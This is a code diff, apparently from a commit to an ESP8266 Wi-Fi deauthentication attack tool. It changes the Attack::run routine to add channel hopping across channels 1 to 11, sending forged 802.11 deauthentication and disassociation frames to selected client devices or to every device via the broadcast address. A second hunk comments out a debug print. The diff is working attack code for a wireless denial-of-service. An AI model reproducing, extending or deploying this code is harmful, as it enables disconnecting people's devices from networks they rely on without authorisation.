@@ -135,23 +135,47 @@ void Attack::run(){
135
135
if (clientScan.getClientSelected (i)){
136
136
_selectedClients++;
137
137
138
- buildDeauth (_ap, clientScan.getClientMac (i), 0xc0 , settings.deauthReason );
139
- for (int h=0 ;h<settings.attackPacketRate ;h++) if (send ()) packetsCounter[0 ]++;
140
-
141
- buildDeauth (_ap, clientScan.getClientMac (i), 0xa0 , settings.deauthReason );
142
- for (int h=0 ;h<settings.attackPacketRate ;h++) if (send ()) packetsCounter[0 ]++;
143
-
138
+ if (settings.channelHop ){
139
+ for (int j=1 ;j<12 ;j++){
140
+ wifi_set_channel (j);
141
+
142
+ buildDeauth (_ap, clientScan.getClientMac (i), 0xc0 , settings.deauthReason );
143
+ if (send ()) packetsCounter[0 ]++;
144
+
145
+ buildDeauth (_ap, clientScan.getClientMac (i), 0xa0 , settings.deauthReason );
146
+ if (send ()) packetsCounter[0 ]++;
147
+ }
148
+ }else {
149
+ buildDeauth (_ap, clientScan.getClientMac (i), 0xc0 , settings.deauthReason );
150
+ for (int h=0 ;h<settings.attackPacketRate ;h++) if (send ()) packetsCounter[0 ]++;
151
+
152
+ buildDeauth (_ap, clientScan.getClientMac (i), 0xa0 , settings.deauthReason );
153
+ for (int h=0 ;h<settings.attackPacketRate ;h++) if (send ()) packetsCounter[0 ]++;
154
+ }
144
155
}
145
156
}
146
157
147
158
if (_selectedClients == 0 ){
148
159
Mac _client;
149
160
_client.set (0xFF ,0xFF ,0xFF ,0xFF ,0xFF ,0xFF );
150
- buildDeauth (_ap, _client, 0xc0 , 0x01 );
151
- for (int h=0 ;h<settings.attackPacketRate ;h++) if (send ()) packetsCounter[0 ]++;
152
-
153
- buildDeauth (_ap, _client, 0xa0 , 0x01 );
154
- for (int h=0 ;h<settings.attackPacketRate ;h++) if (send ()) packetsCounter[0 ]++;
161
+
162
+ if (settings.channelHop ){
163
+ for (int j=1 ;j<12 ;j++){
164
+ wifi_set_channel (j);
165
+
166
+ buildDeauth (_ap, _client, 0xc0 , settings.deauthReason );
167
+ if (send ()) packetsCounter[0 ]++;
168
+
169
+ buildDeauth (_ap, _client, 0xa0 , settings.deauthReason );
170
+ if (send ()) packetsCounter[0 ]++;
171
+ }
172
+ }else {
173
+ buildDeauth (_ap, _client, 0xc0 , settings.deauthReason );
174
+ for (int h=0 ;h<settings.attackPacketRate ;h++) if (send ()) packetsCounter[0 ]++;
175
+
176
+ buildDeauth (_ap, _client, 0xa0 , settings.deauthReason );
177
+ for (int h=0 ;h<settings.attackPacketRate ;h++) if (send ()) packetsCounter[0 ]++;
178
+ }
155
179
}
156
180
157
181
}
@@ -370,7 +394,7 @@ void Attack::refreshLed(){
370
394
int numberRunning = 0 ;
371
395
for (int i=0 ; i<sizeof (isRunning); i++){
372
396
if (isRunning[i]) numberRunning++;
373
- if (debug) Serial.println (numberRunning);
397
+ // if(debug) Serial.println(numberRunning);
374
398
}
375
399
if (numberRunning>=1 && settings.useLed ){
376
400
if (debug) Serial.println (" Attack LED : ON" );
0 commit comments